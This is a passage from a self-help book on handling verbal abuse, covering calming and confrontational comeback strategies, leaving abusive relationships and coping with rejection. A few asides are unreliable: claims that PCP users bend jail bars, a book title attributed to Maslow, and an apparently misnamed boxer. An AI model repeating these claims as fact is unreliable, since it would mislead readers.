insult. This will definitely throw him for a loop! He may think he “gotcha” with his zing when in reality, you
“gotcha” self with an even better zing!
The key here is to say something even more outrageous than he did.
Page 146
Another humorous technique is to fight fire with fire. He zinged you—zing him back! He says you need to lose
weight; you say he does too. Chances are, this insensitive clod isn't exactly Baywatch material either, right?
Tell him that. Now his big mouth must weigh a ton.
Using this strategy, it doesn't matter what you say, as long as you say something that's funny to you.
Later on in the book you learn how to use some snappy comebacks that apply to specific verbally noxious
people in specific situations.
Love 'Em Up Strategy
“A pat on the back is just a few vertebrae from a kick in the pants.”
Anyone who has to resort to spitting out verbal venom usually lacks the basic element for survival—love.
Those who lack enough love and support from others usually become insecure, jealous, and angry, and they
don't really feel good about themselves. Deep down, they really want to reach out but can't, so they go the other
direction and act hateful and spiteful. This behavior is, of course, due to their inner rage of not feeling loved
enough.
If you look at them in this vein, you won't have as many bad feelings towards them. They really need to be
pitied more than hated. They need more compassion than aggression.
Therefore, instead of being angry at them you actually need to diffuse their anger with love and kindness. This
is a Herculean task for anyone who has been verbally shot, maimed, and blown to bits. If you find you just can't
do it, not to worry. This is just one tool of many in your arsenal of verbal defense weapons.
If you think of the common phrase “kill them with kindness,” you might feel a lot better about employing this
strategy more often.
Below are six sub-strategies of the Love 'Em Up Strategy for verbal defense. Try them! They are actually fun
to do and very empowering.
Gentle-Toned Name Repetition
In his bible of the times, How to Win Friends and Influence People, Dale Carnegie mentions that the sound of a
person's name is the sweetest music to her ears. Why? It's the same as what was said earlier in this book—
people love to talk about their favorite subject, themselves. Softly saying people's names over and over in a
loving tone certainly gets their attention, especially if they are in a rage. It helps to calm them
Page 147
down. Your control over the situation allows them to get in control of themselves. It disarms them. They can't
help but stop and listen. Instead of being seen as the verbal battering ram, you become a warm, soft verbal
cushion, making yourself “user-friendly” to them. By the way, this is a standard technique mental health care
professionals use in their attempts to gain some control with autistic children.
Hush Hush Strategy.
This technique is similar to the preceding one, except that you substitute the term “hush hush” for the person's
name. It's virtually the same technique that you would use with a crying baby in softly telling her to hush as
you hold her. Your steady calming tone as the air produces the “hush” sound elicits calmness.
This is an excellent technique to use when a person won't shut up. If you keep repeating “hush hush” in a calm
and steady voice, on a continuous basis, he or she will eventually stop yelling and carrying on. In essence,
these people are like big babies who need their mommy or daddy to comfort them.
Let the Baby Have Her Bottle Strategy
Speaking of babies, remember when you were a child and another child would cry or get upset when you
played with his her toy? Oftentimes, to save face and rationalize your little feelings (which were actually big
feelings at the time), you retorted with “Okay, let the baby have her bottle.” The little perpetrator was usually
taken aback by your comment. She didn't want to be referred to by that evil four-letter word, B-A-B-Y, so she
often relinquished the toy to you or shared it with you. Little has changed since your youth. Oftentimes, when
you yield to your verbal opponent, she becomes powerless and you gain back the control.
If you counter what the verbal abuser says by agreeing with her, she has nowhere to go. She is taken offbalance
and loses her verbal footing. She has no idea where you are coming from and no idea of what to say
next. Obviously, she can't fight with herself, so she is silent. This quashes her verbal venom.
Hand-Holding Fighting Strategy
This strategy, which I personally devised for my clients, is one of the best techniques to be used in relationship
therapy. It's obvious that the couple loves one another, but they keep fighting and bickering over stupid and
ridiculous things. They end up saying mean and ugly things to one another that devastate both of them. As you
learned

Page 148
earlier in the book, words stick—especially ugly words! So, I tell the couple, as difficult as it may seem, as
soon as they start this stupid bickering, one has to immediately grab the other's hand and hold it and continue to
bicker.
They usually start laughing and stop fighting, becoming softer and more affectionate with one another. As they
continue to hold hands, each one often starts to communicate his or her side of the issue in a calm and loving
manner, so that each mate is able to really hear what the other has to say.
It's a very powerful tool for effective communication between couples as well as friends.
By the way, the one who takes the other's hand first is the one who has the control over the situation.
Heart-in-Hand Strategy
Dating back to ancient Roman times, when Rome was busy trying to conquer the world, anyone who met up
with the Romans was concerned about weapons they might be hiding. Thus, when the Romans placed their
hand over their heart to express their sincerity, respect, and liking toward the person, one could readily see that
the person was safe (at least at that moment), because there was no weapon in the potential opponent's hands.
In this century, this gesture has come to express extreme passion and feeling toward another person. More
currently, it expresses passionate love but also despair, a “heaviness of the heart.” Therefore, when you
lovingly converse with your verbal opponent with this gesture, especially one whom you really love, you have
the advantage. Subconsciously, they are getting the cue of how deeply they have affected you. Usually this
mitigates their verbally toxic behavior.
“What's Good About You” Strategy
If you tell your child he is good even if he is a little terrorist tormenting everyone and leaving a path of
destruction in his wake, he often acts better, especially around you. Since you have good expectations for him,
he will often follow suit.
This is no different when you tell grown-ups how good they are and discuss their good points. Doing so, you
gain the upper hand and control over the situation. Who wouldn't want to hear good things about themselves?
This usually stops them in their tracks and they begin smiling. Even though they know they have been bad, the
fact that you still manage to see something good in them makes them feel pretty good about you. If they are
feeling good about you, it is more difficult for them to verbally attack you.

Page 149
Page 151
Chapter 12
When More Powerful Weaponry Is Needed
The strategies in Chapter 11 work quite well if you are dealing with basically civilized people with whom you
can communicate at least on a basic level. Others need to be shaken up a bit more. Even though I recommend
first using the “pat on the back” philosophy in dealing with verbal venomites, sometimes you have no choice
but to give them the “kick in the pants” in order to get them to finally hear you.
This chapter explains when you really need to implement this kick in the pants approach. These strategies are
most effective in defending yourself against those verbal bullies.
Never Walk Away When You Have Something to Say!
Ask a group of people what they would do if someone had just verbally assaulted them and continued to
verbally abuse them. Inevitably you will hear the following, unfortunately very common response. “I'd just
walk away.” If you give them a clearer, more
Page 152
descriptive picture of the verbal perpetrator's heinous actions, the response would still stay the same, only some
people would probably pipe up “I'd ignore them!”
Well, guess what? You can't ignore it! It's there. It's right in front of your eyes. It haunts you later. You hear the
voices, you see the vision, you feel the pain. If you ignore it now, it will come back to haunt you later through
physical and mental anguish.
Protecting the Other Cheek
Perhaps they say that they would simply walk away because they feel that they are “peace-loving” people and
that's what peace lovers should say—at least publicly.
There are others who walk away because of their religious teachings. They have been raised to turn the other
cheek when someone doesn't treat them right.
I don't want to sound cavalier or irresponsible or insult anyone's religious views. In fact, I endeavor to respect
everyone's religious views. So do not in any way misinterpret what I am about to say.
Turning the other cheek does not mean to turn the other cheek so that you can be slapped again on the other
side of your face. As I and many people in the clergy see it, turning the other cheek means turning the other
cheek away from the verbal tormentor so that you can be proactive and move on, and never let anyone verbally
abuse you again.
Don't Just Stand There—Do Something!
Whatever you decide to do, do something. Even if you choose to simply walk away, don't ignore how the
verbal abuser's words made you feel. Unless you are a zombie or an alien from another planet, you have
feelings that will emerge following this psychologically traumatic event, although you might not realize it at
first as you slough off what happened.
Later on, you might develop a type of post-traumatic verbal shock syndrome. If you don't deal with your
feelings immediately, you will have to deal with the emotional consequences later. So talk about what
happened to you—what awful things someone said to you and how he or she said it. Tell all your friends, your
family, your clergy, and your therapist. These people will support you.
Page 153
Verbally Setting Firm Limits
Frequently, those who become victims of verbal crime are in the situation they are in because they don't set
strict verbal limits with the verbal perpetrator. If they do set limits about how a person can talk to them, they
often won't enforce those requirements. As a result, the verbal perpetrator loses respect and doesn't take what
the person says seriously.
One of the biggest miscommunications occurs when a verbal victim cries out, “I told him time after time not to
say what he says to me and cut me down, but he keeps saying it anyway.” When you first hear a victim report
this, you feel like punching the verbal perpetrator in the nose. However, upon closer examination you find out
that although the victim really did tell him to stop bringing up that sensitive topic and stop putting her down,
she neglected to report that she made this request while giggling and laughing, using a coquettish girlie tone.
In no way was the message conveyed to “Cease and desist! Immediately!” At times (like when she began to
cry), he would get the message, but then he would retreat to his old ways. He never took her seriously. In fact,
upon questioning him about her tears in regard to his verbal abuse he sloughed it off by saying, “It was
probably her PMS kicking in.”
Granted he sounds like a jerk, and granted it is not appropriate to blame the victim. But in this case we see
how, if she doesn't adamantly stand up for herself so that he truly hears her, thereby causing him to show some
verbal respect for her, the effect is that she will continue to suffer hearing his verbal abuse.
She needs to speak up—not giggle and laugh—but really speak up in a manner that will perk up his ears once
and for all and cause him to change his obnoxious behavior. Most important of all, she needs to be consistent if
he falters and attempts to revert to his old ways.
The tone and words you choose definitely let the person know that you mean business. It lets him know that he
can never again say what he just said to you.
The upcoming “Talk Back!” section illustrates how this is done. Julia, an investment banker, has a
conversation with one of her male colleagues. Julia, who usually dresses in corporate-style clothing, runs into
one of her colleagues, James, at a disco. There is nothing corporate about her appearance at the club. She is
wearing a short, low-cut, skin-tight, black Lycra spandex dress that shows off her ample cleavage and long,
sleek legs. As she leaves the disco, she runs into her colleague on the street. Here's what happens next.
Page 154
Talk Back
James: Oh my God. I am going to have a heart attack! Julia, this can't be you.
Julia: Well, it is me!
James: You… you… you certainly don't look like this at work.
Julia: Well, I should hope not. When I'm at work, I'm not out clubbing.
James: Whoa, I can't wait to tell everyone about this at work tomorrow.
Julia: [Smile immediately changes into serious scowl while looking directly at
him. Voice becomes low-pitched and she projects her voice loudly.] My social
hours are mine! My work hours are the company's! Get it?
James: Don't get so bent out of shape, I was only kidding!
Julia: Well, I'm not kidding. You have no business discussing my personal
business with anyone! We both need to be respected by everyone in the office if
we want to get anywhere, wouldn't you agree?
James: Sure! No problem.
Verbally and vocally, Julia left her light and comfortable, friendly, social speaking style and turned to her
corporate style of speech, which was more projecting, lower pitched, and more serious. James obviously got
the message. Later, he tried to avoid Julia whenever he saw her at the office.
“This Is Unacceptable!”
This is the best phrase to use when someone is trespassing your verbal limits. Say it in a firm, projected tone so
that you will be heard! Do not laugh when you say it! Do not smile or have a “matter of fact” expression on
your face! Do not giggle! Do not use a high pitched voice! Don't say it as a question, sounding tentative as you
go up at the end of the word “unacceptable.” Do not pepper this phrase with filler words such as “like,” “um,”
and “you know!” Finally, do not mumble. Draw out your vowels when you speak these three words.
In continuing to let someone know that he has over-stepped his bounds, you can then go on to explain what it
was that you didn't like about what he said to you. Try not to get out of control, screaming and yelling. Instead,
talk calmly, yet firmly, so that there is no question that you meant what you said and said what you meant.
Never deviate from what you said!
Therefore, you need to watch out for verbally toxic behavior that someone may once again repeat.

Page 155
“Excuse Me? Are You Talkin' to Me?”
Even more intimidating to the verbal perpetrator is using the classic lines that Robert DeNiro's character,
Travis Bickel, spoke in the Martin Scorsese film Taxi Driver: “Excuse me? Are you talkin' to me?” indicating
that he was armed and ready for action.
It has become a catch phrase. In basic terms, it is a warning signal. It means “I heard what you said. You
disrespected me. I didn't like it! So don't even think of talking to me like that again.”
This immediately lets people know that you are serious and you have no patience for their ill verbal treatment
of you. This being the case, do not smile while you make this powerful statement or give a nervous laugh
afterward. Say it loud and clear so you will be heard. Your loud, clear voice resonating these words in their ears
are destined to wake them up, shake them up, and shut them up!
Strategy of Loud Verbal Explosions!
Speaking in a loud and clear voice gives you a lot of verbal and vocal power. People listen. In order to get a
verbally abusive person to curtail hurling her abuse in your direction, you can often deflect her verbal bullets
with sound, especially if that sound is loud and booming.
You will definitely throw her off balance, which, as in martial arts, is a winning move! It certainly gets her
attention and shocks her into stopping—at least for the moment.
Her startled response has been put into action, causing her nervous system to work overtime and to be thrown
off balance. She is thrown off balance mentally as well. She saw you in one speed, and here you go changing
gears! She definitely wasn't expecting that! Unless she is completely deaf, you have gained the upper hand and
come out ahead in another verbal battle.
Fight Clean and Fair!
A verbal warrior who fights dirty is the absolute worst! With a dirty fighter, there is little or no hope in your
attempts to win the communication battle.
Dirty verbal fighters can cause a melee. Often they will hit you so far below the belt that you'll reel in
emotional pain forever.
In the boxing ring, if a professional fighter fights dirty by hitting an opponent below the belt, or does
something really dirty (like biting off an opponent's ear), that fighter will be disqualified.
Page 156
Keep It Above the Belt
Sometimes, the public's rage at the fighter's injustices to the other fighter become so inflamed that the fighting
extends to those outside the boxing arena. Look what happened at Madison Square Garden when fighter
Riddick Bowe was repeatedly punched below the belt by Ron Goletta, a known dirty fighter who was warned
about his tactics. Each time Bowe was hit in the groin, the fans felt his pain too. After Goletta was finally
disqualified, all hell broke loose, literally. Fans mobbed the ring. Chairs were flying. Managers and fight
personnel were beaten. Innocent bystanders were physically flung out of the ring. Countless fights broke out in
the stands, with stranger pummeling stranger. People were injured, people were arrested, people were jailed, all
because of dirty fighting—literally being hit below the belt.
Hitting someone below the belt is not confined to the boxing ring. It happens on a daily basis in people's
homes, offices, at social gatherings, and even on the street. We know all too well about hitting below the belt in
communities that suffer extreme gang violence. A verbal insult about someone's mother or girlfriend, which is
definitely hitting below the verbal belt, can result in the insulator being killed.
In anger, people bring up things you never knew about (for example, your husband's three-year affair,
communicated to you in hostile, angry terms). They bring up things you thought they never knew about (the
time you went to jail for stealing a car when you were 18, for instance) They bring up and uncover horrible
things that happened in your life where only extensive psychotherapy or religious devotion have allowed you to
cope with the guilt and live one day at a time (such as when your girlfriend got killed in a motorcycle accident,
while you were driving).
These verbal cuts are the deepest and hurt the most. In many cases, these cuts will never heal. There is too
much resulting pain. There is so much blood coming from the verbal wound that your relationship is gone
forever—dead!
Even if someone is a dirt bag of a fighter, you don't have to join in and follow suit. It's not going to make you
feel any better throwing verbal bombs at him. He has to live with the devastation he has done to you. Don't add
insult to your injury and have the additional burden of living with the emotional devastation you caused them.
Take solace in knowing that what goes around usually comes around.
Never, Ever Use Physical Violence!
Your hands, legs, body, and teeth are completely off limits! The only time you can use your teeth is when they
are used in conjunction with your tongue and your lips and allow you to speak to someone—never to
physically hurt someone.
Never use physical violence!
No matter how angry you get at what someone said, the consequences of physical violence are not worth
enduring. There is no excuse whatsoever for physical violence. If you feel as though you are coming close to
beating someone up over what they said, please don't do it! Before you get ready to do it, take your breath in,
hold it, and blow, blow, blow all your air out instead of blowing someone's brains out!
Page 157
Fantasy Strategy—an Alternative to Physical Violence.
If you are so angry that you can spit nails, or you feel as though steam is coming out of you ears and you are
thinking that no matter what happens to you, you're gonna do someone in—don't!
Instead, use this strategy immediately! Fantasize about what you'd like to do to them. See it in your mind, feel
it, hear it. Just don't do it in real life! I can't give you any specific ideas here in terms of what to imagine. These
fantasies must come out of your own mind and your own anger. If they are gruesome, run with it mentally. As
you see the images in your mind, you will be surprised at how much better you will feel and how much less
enraged, even relieved. You will feel like you have released the pressure-cooker tension from your physical
being.
Another alternative is to watch the fights on television or even to go and see a boxing match. As the winner is
punching the loser with repeated blows, picture your enemy's face being pummeled by the winner. Don't think
this is weird. We have all unknowingly used the Vicarious Fantasy Technique when we watch our favorite
superstar heroes beat the living daylights out of someone on screen. Next time you're watching one of these
films, just think of what a thrill it would be to see the hero doing what he's doing on screen to your adversary.
It's a lot more acceptable than living this scenario in real life.
Never Threaten One's Basic Needs!
“You'll never work in this town again.” “I will ruin you.” “I will make sure everyone knows about this.” “I will
get you fired.” “I will sue you for everything you've got.” “When I'm done with you, you won't have a penny
left to your name.” “You'll be living on the streets.” “I'll make sure you starve to death.”
Page 158
These types of verbal threats are often made in anger. People making these threats don't even think twice about
the implications of what they have said. They just know that they are hopping mad and that these threats are the
best way for them to let off steam. They have no clue about the impact of their words or the possible
resounding consequences.
It is extremely dangerous to threaten people by holding the threat of their basic existence up to them. In the
classic book The Hierarchy of Needs, the famed psychologist Abraham Maslow discusses human being's basic
need for air, food, and shelter.
When these basic needs are threatened, the consequences can be devastating. Biologically, it triggers basic
survival instincts, such as the fight-or-flight mechanism. When this happens, the results are not pretty; they are
pretty devastating. Through the ages, people have been killed for making verbal threats against one's basic
needs.
To repeat: Never, under any circumstances, make threats to people, especially when it pertains to their
livelihood! Tempers can flare to the point that they become out of control, and the results can be deleterious.
Keep Your Cool
If your livelihood has been threatened, never resort to physical violence or perpetrating physical harm against
someone. Reread this section. Other alternatives are more effective and more productive! So read on and you
will discover what these alternatives are and how to use them.
In light of the repeated school killings in which young students (children) have shot their peers to death, threats
should always be taken seriously, whether or not they are just made in the moment of anger. We have,
unfortunately, seen the aftermath of what happens when threats are not heeded.
The moral of all of this is that, no matter how angry you get, never threaten anyone—not even in jest. You are
risking being taken to jail. You are risking the financial ruin of having to go through a lengthy court battle. And
most important of all, you are risking your life!
Verbally Mirroring the Foe Strategy
In describing the strategy of Verbally Mirroring the Foe, many of you might argue, “I couldn't do what they
did. I would never think of stooping to their level.” I understand your point. However, guess what? If you don't
stoop to their level, how are they going to hear you? How are they going to know when their verbal behavior is
unacceptable?

Page 159
By stooping to their level, you are forcing your verbal perpetrators to see their ugly words reflected back to
them. You are, in essence, their “verbal mirror.”
One of my attorney clients was negotiating a deal over the telephone with another attorney who was verbally
hostile and abusive. My client could not get a word in edgewise as the verbally toxic adversary hogged up the
entire conversation, shouting obscenities, and screaming and yelling. All of a sudden, my client pulled the
phone away from his ear and began to bark like a dog. Stunned, the abusive adversary stopped talking and
asked “What did you say?” My client continued to bark like a dog. He then stopped and said, “That is exactly
what you sound like—a barking dog. Now Mr. Jones, you and I are both highly qualified, well-trained,
civilized professionals. Let's act that way and speak intelligently and quietly so that we can each listen carefully
to what the other is trying to say and come to an amicable resolution.”
My client merely gave Mr. Jones a glimpse of himself in the verbal mirror. He certainly didn't like what he
heard. It was obvious that Mr. Jones had no clue that he sounded like a barking dog when he negotiated. But he
certainly became aware of it and has subsequently made it a point to listen and not “bark” at other attorneys—
at least not as much as before!
A taste of their own verbally toxic medicine is often all they need to make them aware of how poorly they
come across to others. In fact, because they often don't even realize it, look at using this strategy as doing them
a favor!
Talk Back
Here is a conversation of an employee mirroring her boss. A word of caution
before using this technique on your boss: There's only a 50 percent chance that
you will still have a job after using this strategy on someone who has more clout
than you do. Ann was lucky her boss responded well. I don't know how your
boss will take it, so it's strictly up to you whether to use it or not.
Boss: [in loud and gruff monotone] ANN, GET ME THE JOHNSON FILE
AND BRING ME A CUP OF COFFEE—CREAM AND SUGAR!
Ann: [mirroring his exact loud and gruff tone] OKAY, I'LL GET YOU THE
JOHNSON FILE AND BRING YOU A CUP OF COFFEE—CREAM AND
SUGAR!
Boss: Why are you yelling? Why are you talking so rudely to me?
Ann: Well, Mr. Thompson, that's exactly how you talk to me.
Boss: Really, I had no idea. Well, I apologize. Thanks for pointing it out.
Page 160
“Give 'Em Hell and Yell” Strategy.
Similar to the Mirror Strategy, the Give 'Em Hell and Yell Strategy allows people to see how verbally toxic
they are. Although we have been conditioned that it's not nice to scream and yell at people, there are times
when you have no choice. You are at your wit's end. You've tried everything else and the verbal vulture still
doesn't “hear” you.
There is nothing else to do but “let 'em have it!” Go for it! Be as loud and angry as you want. Let your face turn
red and the veins in your neck pop out and pulsate. Yes, you can even say a four-letter word or two and contort
your face to look like a monster. The key is to say anything (short of threatening their livelihood or their life) to
get out the anger and frustration that you have towards them. Don't keep any of it in! Open the flood gates and
let it roar! It gives you permission to act like a wild tiger.
Yes, you read correctly, I said that it was okay to use cuss words (but don't make a habit of it). Doing so, and
“shocking” them into listening to you, might be the only way you can get them to finally hear you.
A big word of CAUTION! Never use any of these strategies in conjunction with your hands, arms, fists, legs,
feet, or teeth. Never use any weapons (knives, forks, guns, rifles, machine guns, or hand grenades) whatsoever,
even if it's only done for effect, to threaten or scare your verbally offensive opponent. The potential
consequences can be horrific!

Page 161
Chapter 13
Enough Is Enough! Knowing When to Retreat
When is the verbal war over? How do you know if you were the winner or the loser? The answer is simple. If
you have used up all of the verbal defense strategies in the last two chapters, and nothing has worked, it's time
to retreat. This means “unplug.” Get away from the extremely toxic verbal abuser. Run. Run as fast as you can!
Run for your life.
Some individuals are similar to drug addicts on PCP. It's very difficult, if not impossible, to quell their bizarre
and often violent and intensely destructive behavior (like running naked down the street). They develop the
strength of ten men, to the point that in many cases they are impermeable. They are literally like “Supermen”
who can't be defeated by the usual methods. They are physically resistant to pain, perhaps because the
alteration in their biochemistry doesn't register the sensation of pain.
Page 162
Because individuals on PCP are usually a danger to themselves and to society, great efforts are made to capture
them and lock them up. Several law enforcement officers report that such individuals are so strong that it can
take up to twelve officers to subdue them. Additional reports claim that they easily burst open their handcuffs
and chains and can even bend the bars of their jail cells.
Similarly, if none of your verbal strategies worked to subdue the verbal bully, you need to cut your losses and
move on; otherwise, like people on PCP, they can annihilate you.
If you have done everything, from giving them love and kindness to giving them hell and yelling a them, and if
none of the techniques could soften or change the verbal bully's behavior, you have absolutely no other
recourse than to run for your life!
Three Strikes and You're Out!
People stay in horrible relationships way too long with the hopes of “working things out.” More often than not,
things never work out! The time to get out of a verbally abusive relationship is NOW! In baseball there is a rule
that after three strikes, you are out. And in some states across America there is a “three strikes” law.
Therefore, I believe as well in the “three-strike rule” when it comes to being verbally abused. The first time a
person verbally abuses you, even though it's awful, can be written off to “having a bad day,” “not feeling well,”
“having PMS,” or “testing you to see how far they can go”—pushing their limits with you.
The second time it happens is horrible, but it can be attributed to “a life crisis” (such as job problems, problems
with children or with family members excluding you, health issues involving anything from a cold to
impotence, menopause, or a life threatening illness).
But the third time it happens, there are no more excuses. You're out! Leave!
Yes, But…
Don't “yes, but…” me. Don't “yes, but…” yourself. Verbal abuse is verbal abuse! That's it! If someone is
saying to you any of the things mentioned in Chapter 2, guess what? You are the victim of a verbal crime, and
the verbal criminals need to be out—for life! Out of your life for the rest of their lives!
Many of you will think that this statement is too harsh, but there's nothing harsh about telling you that you are
shortening and diminishing the quality of the most precious gift that has been given to you—your life! I'm
telling you this because I really care about you. I care so much that I am willing to dedicate my life to helping
people in the same situation you find yourself in. So please open your mind. See and hear

Page 163
what I am trying to tell you. The longer you stay in a verbally abusive relationship, the longer you will feel bad
about yourself. You are in a losing battle and you will never win the verbal war.
If you have truly done everything I've discussed in this book thus far, using every single verbal defense strategy
correctly and following the steps in the book to a “t,” but your results are to no avail, then there are no more
“yeah, buts…” to hear.
I Say “Yes,” You Say “No”
You may have some good reasons (at least they seem good in your mind) for staying in a verbally abusive
relationship. Well, I have even better reasons for you leaving that horrific situation, a situation where your selfesteem
is eroding every day you are in the verbal perpetrator's presence.
The following list gives explanations of why I keep saying “no” to your “yes.” There are no more excuses, so
pay close attention to my answers.
1. Your “yes!”: I don't want to upset my comfortable lifestyle.
Dr. Glass's “No!”: How comfortable is your lifestyle when you are living with someone who uses you as a
verbal punching bag? No matter what the two of you do together—no matter how many yachts you sail on,
privates jets you fly in, designer clothes you wear, exotic places you visit, and beautifully decorated homes
you have—nothing is worth the emotional torment that verbal abuse brings. All of your material goods
mean zero when you are in a hospital bed dying of cancer, a stroke, or heart attack because you let the
abuse fester and fester until it erupted in devastating illness.
2. Your “Yes!”: I'm staying for financial reasons.
Dr. Glass's “No!”: Sure, it's going to be hard at first, but millions of people are the breadwinners without a
spouse, partner, or roommate. It is better to live on bread and water than eat in a home with a verbal
abuser.
3. Your “Yes”: I can't leave for the sake of the kids.
Dr. Glass's “No”: I say that you should leave for the sake of the kids! Who in their right minds would want
their child to grow up hearing their parent get verbally beaten up on a daily basis? Children do grow up,
and they grow up learning that they can speak to others in a verbally abusive way or that others can speak
to them in a verbally abusive way.
4. Your “Yes!”: But, I'm In Love With Him/Her!
Dr. Glass's “No”: First of all, you need to redefine what you mean by “love.” Great sex is not love—it is
just great sex! Sex may be an expression of love for
Page 164
some people, but if that love is not expressed outside of the sexual liaison, then it's not love! IT'S JUST
SEX! Love is having respect and admiration for someone. If someone doesn't respect and admire you
enough to speak to you with civility, guess what? (I hate to be the one to break it to you, but this book is
about honesty, so here's the bottom line.) They may not really love you in the true sense of the word.
5. Your “Yes!”: What will everyone think?
Dr. Glass's “No!”: Who cares? They are going to think whatever they want to think. They aren't the ones
living your life—you are! So live it through your eyes, not through anyone else's eyes! Besides, anyone
worthwhile will respect you for getting out of an abusive relationship.
6. Your “Yes!”: They didn't really mean it. They were just under a lot of pressure at work, with the family and
everything else going on in their life.
Dr. Glass's “No!”: As fast as your legs can carry you, go to an AlAnon meeting so you can see what
enabling is all about and what an enabler you are. If they had Verbal Abusers Anonymous (VAA) or
VerbAnon, I'd insist that you go to their meetings, but since they don't (at least not yet), go to the next best
thing. Go now!
7. Your “Yes!”: With me in their life, maybe they'll change.
Dr. Glass's “No!”: And maybe green pigs will dance in the trees! I don't think so! Get this through your
head: “What you see is what you get!” “What is, is what is!” People don't change their ways unless they
really want to. There is sufficient evidence that people don't change their behavior unless they are retrained
with extensive therapy. Even then, they still might not change unless their positive behaviors are
continuously reinforced!
It's similar to leopards. We've all heard the expression that “leopards don't change their spots”—unless of
course you paint some additional spots on them. When the paint eventually wears off, they are back to looking
like they did before, with the same old spots. Unless you continuously keep painting new ones on, the old spots
will remain the same.
If a leopard doesn't want you to change its original spots, but you insist on changing the leopard by painting
new spots on its fur anyway, be prepared to become its lunch! It will destroy you, chew you up, and swallow
you. If it's had enough of you, it'll spit you out!
The same is true for a person whom you think you can tame or change. Like the leopard, he too will eat you for
lunch. He will destroy you, chew you up, and swallow you, and when he's had enough of you, he'll spit you
out!
Page 165
You Finally Got the Message!
Some people, usually ones who are a bit masochistic due to self-worth issues, take a much longer time to get
the message. Those who have really worked on themselves psychologically to rid themselves of any mental
demons take less time to see the light. They kick the verbal vulture to the curb. After three strikes maximum,
they are history!
You finally get it! Yeah! After trying each and every way to rationalize and convince yourself of ways it could
work out, you now realize that there is no hope. You simply can't have this person destroying your identity and
your life. You have resigned yourself to the fact that you cannot fool yourself any longer.
Now you are so excited—free at last. You feel as though a ton has been lifted from your shoulders. You can't
believe how good you feel. You are smiling all the time. People tell you how great you look. You feel that you
have a new lease on life. People actually like being around you now, because you're not always depressed and
talking their ear off about your troubles. You are invited to more places and you are having more fun than ever.
You are open to new things. You even get a new hairstyle, and shed the 10 pounds you gained in the toxic
relationship, which literally “weighed you down!” You look great! You feel great! Everyone around you now is
great! Life is great!
Noooooo! Don't Do It!
Then one evening, things are quiet. The phone isn't ringing and you have no plans. After partying like mad to
celebrate your newfound freedom, you are beginning to come back down to earth as you realize that the party's
over. Now you have to start a new life with new people who are not verbally toxic.
It's tough. You think, “How am I going to meet someone to start a new verbally healthy relationship?” “Where
do I go?” “What do I do?” “Oh no!,” you think to yourself, “What if they don't find me attractive? What if they
don't like me? What if I am alone? What if I never find a relationship again? What if nobody wants to sleep
with me? What if everyone who meets me rejects me? What will happen to me? What if I get so depressed
because of all of this and don't want to go on living? What if I decide to kill myself?”
Now that you have worked yourself over mentally and looked at your newfound freedom as a scary and
horrific nightmare, instead of an exciting and thrilling adventure, you are paralyzed with fear! You feel so
naked, so exposed, so vulnerable—as though you are so completely naked that you aren't even wearing your
skin, let alone your clothes!

Page 166
So, what does your first instinct tell you? Why, of course, reach for the phone and call that familiar person—
your verbal abuser. It's safe. He might be abusive, you reason to yourself, but at least he was yours. He'll make
it all better! You won't be feeling as naked and insecure if you go back with him, you think. So, you reach for
the phone to call the “Him.” Just when we all thought you were doing so well, you are now back for more. The
saga continues, and now we definitely don't want to hear about it. We're sick of hearing about the abuser, and
by now we're sick of you.
Help!!! Emergency!!!
Before you reach for the phone, call your family members, close friends, clergy, and the person you desperately
need the most—a psychotherapist. If you don't know any, call the local mental health association in your area.
Call a university or a medical center in your area. Call your friends. Ask them if they know of one or if any of
their friends know of a good therapist. Call your doctor. Call the health department. Call the American
Psychological Association in Washington, DC.
If you think you can't afford professional help, stop thinking that right now! Often your community has a lowcost
mental health program. The Department of Social Services in your city, county, or state can also help you.
University programs often have clinical counseling available at a low cost. Your clergy can also help you—
that's what they are there for. Their inspirational guidance just might be the mental medicine you need. Maybe
they can at least comfort you during your time of great emotional distress, until you can actually see a mental
health professional who is trained to deal with your specific issues.
I have given you all kinds of options, so there is no excuse! Get help!
Do it now!
Throwaways
What happens when the verbal abusers are the ones who pull the verbal plug? No matter how difficult, even
impossible, the communication was between both of you, nobody likes to be tossed away like a dead raccoon.
Just know that you are probably feeling worse than they are right now. The rejected always feels worse than the
rejecter.
Along with everyone else, I can sit here and give you words of sympathy. Even though we try to say
sympathetic words and phrases in our attempts to comfort you, you'll think we don't know what we're talking
about. You'll wish we'd just shut up, listen to
Page 167
your sob story, dry your tears, and wear a shirt, blouse, or sweater that feels soft, so that when you cry on our
shoulder your face will feel more comfortable and less scratchy.
The following “Talk Back!” section lists some phrases of comfort usually said to a rejectee, and what the
rejectee really thinks about your stupid advice.
Talk Back
Comforter says: “I know just how you feel.”
Rejectee thinks: “No, you don't know how I feel! I'm the only one who can feel
what I feel! How do you know what's going on in my body? I'm the one who
feels like I've been run over by a truck. Have you been run over by a truck?
Nooooo!”
Comforter says: “That awful person! You are better off without her.”
Rejectee thinks: “She wasn't all that awful! No, I'm not better off without her!
Who's gonna go to the movies with me? Who's gonna go to 7–11 with me at 2
A.M. just because I want a fudgecicle?”
Comforter says: “Don't worry, it will be fine.”
Rejectee thinks: “Are you out of your mind? I can't sleep. I feel like vomiting
all the time. My head hurts. I can't stop crying. I can't eat. I want to drink a
whole fifth of whisky and keep drinking and never come out of my drunken
stupor! It will not be fine!”
Comforter says: “You'll find someone else.”
Rejectee thinks: “It took me ten years just to find this guy! When will I find
someone else? When I'm 90?”
Comforter says: “There are plenty of fish in the sea.”
Rejectee thinks: “Yeah, but what sea do you catch them in? Where are they?
How come all the good fish are taken? If there are so many fish in the sea, how
come I only attract sharks?”
None of these words help you feel better. Instead, they make you feel worse! Just know, you will feel bad, very
bad, horribly bad for a while. But then, after you are able to hold some food down, sleep, stop crying and have
an occasional smile on your face—when you have spent time away from the rejecter—you will see something
you never saw before! He did you a favor.
If he left you and you were a verbal tormentor, you learned something very valuable. Don't mess with people's
self-respect. Talk to them like human beings with the dignity they deserve, or you won't be talking to anybody!
Page 168
If, on the other hand, he left you and he was the verbal tormentor, he probably left you for a number of reasons
that most likely have nothing to do with you! Here are some of the reasons that tormentors might leave you:
1. They felt shame, embarrassment, and guilt over how they treated you.
2. They didn't feel that they were worthy of you.
3. They didn't get the reaction they wanted out of you. They either wanted you to fight back, and you didn't, or
they wanted you to take their abuse, and you fought back instead.
4. They were tired of you. You were a verbal toy. They were done playing with you, so they threw you away.
5. They needed more people to abuse, to feed their sick souls. They were like verbal vampires, who need to
suck the lifeblood out of their verbal prey and quickly move on to the next innocent victim.
No Stalkers or Fatal Attractions Allowed!
If someone leaves you, sure you can try to work it out, but if it doesn't work after three attempts, don't go back
